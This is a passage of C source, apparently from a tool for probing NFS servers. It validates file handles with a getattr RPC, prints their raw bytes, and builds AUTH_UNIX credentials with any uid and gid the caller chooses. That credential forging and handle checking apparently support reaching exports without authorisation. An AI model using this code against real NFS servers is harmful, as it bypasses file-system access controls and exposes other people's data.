236 | } 237 | 238 | /* 239 | * Just use some fast nfs rpc to check out the 240 | * correctness of the handle. 241 | */ 242 | int 243 | handleok(handle) 244 | fhandle *handle; 245 | { 246 | attrstat *res; 247 | 248 | if ((res = nfsproc_getattr_2(handle, client)) == NULL) 249 | return 0; 250 | if (res->status != NFS_OK) 251 | return 0; 252 | return 1; 253 | } 254 | 255 | printhandle(handle) 256 | struct svcfh *handle; 257 | { 258 | register char *p; 259 | register int i; 260 | 261 | /* fsid[0] -> major, minor device number */ 262 | fprintf(stderr, "\t(%d,%d) ", 263 | major(handle->fh_fsid.val[0]), minor(handle->fh_fsid.val[0])); 264 | 265 | /* fsid[1] -> file system type */ 266 | switch (handle->fh_fsid.val[1]) { 267 | case MOUNT_UFS: fprintf(stderr, "ufs "); break; 268 | case MOUNT_NFS: fprintf(stderr, "nfs "); break; 269 | case MOUNT_PC: fprintf(stderr, "pcfs "); break; 270 | case MOUNT_LO: fprintf(stderr, "lofs "); break; 271 | case MOUNT_TFS: fprintf(stderr, "tfs "); break; 272 | case MOUNT_TMP: fprintf(stderr, "tmp "); break; 273 | default: fprintf(stderr, "unknown "); break; 274 | } 275 | 276 | /* file number length, and data */ 277 | fprintf(stderr, "<%d,%ld,%ld> ", 278 | *((u_short *)&handle->fh_data[0]), 279 | *((ino_t *)&handle->fh_data[2]), 280 | *((long *)&handle->fh_data[6])); 281 | 282 | /* export file number length, and data */ 283 | fprintf(stderr, "<%d,%ld,%ld>\n", 284 | *((u_short *)&handle->fh_xdata[0]), 285 | *((ino_t *)&handle->fh_xdata[2]), 286 | *((long *)&handle->fh_xdata[6])); 287 | 288 | /* print handle in hex-decimal format (as input for nfs) */ 289 | fprintf(stderr, "handle:"); 290 | for (i = 0, p = (char *)handle; i < sizeof(struct svcfh); i++, p++) 291 | fprintf(stderr, " %02x", *p & 0xFF); 292 | fprintf(stderr, "\n"); 293 | } 294 | 295 | /* 296 | * Returns an auth handle with parameters determined by 297 | * doing lots of syscalls. 298 | */ 299 | AUTH * 300 | authunix_create_default(uid, gid) 301 | int uid, gid; 302 | { 303 | char machname[MAX_MACHINE_NAME + 1]; 304 | int gids[1]; 305 | 306 | if (gethostname(machname, MAX_MACHINE_NAME) == -1) { 307 | fprintf(stderr, "authunix_create_default: cannot get hostname\n"); 308 | exit(1); 309 | } 310 | machname[MAX_MACHINE_NAME] = 0; 311 | gids[0] = gid; 312 | return (authunix_create(machname, uid, gid, 1, gids)); 313 | } 314 | --------------------------------------------------------------------------------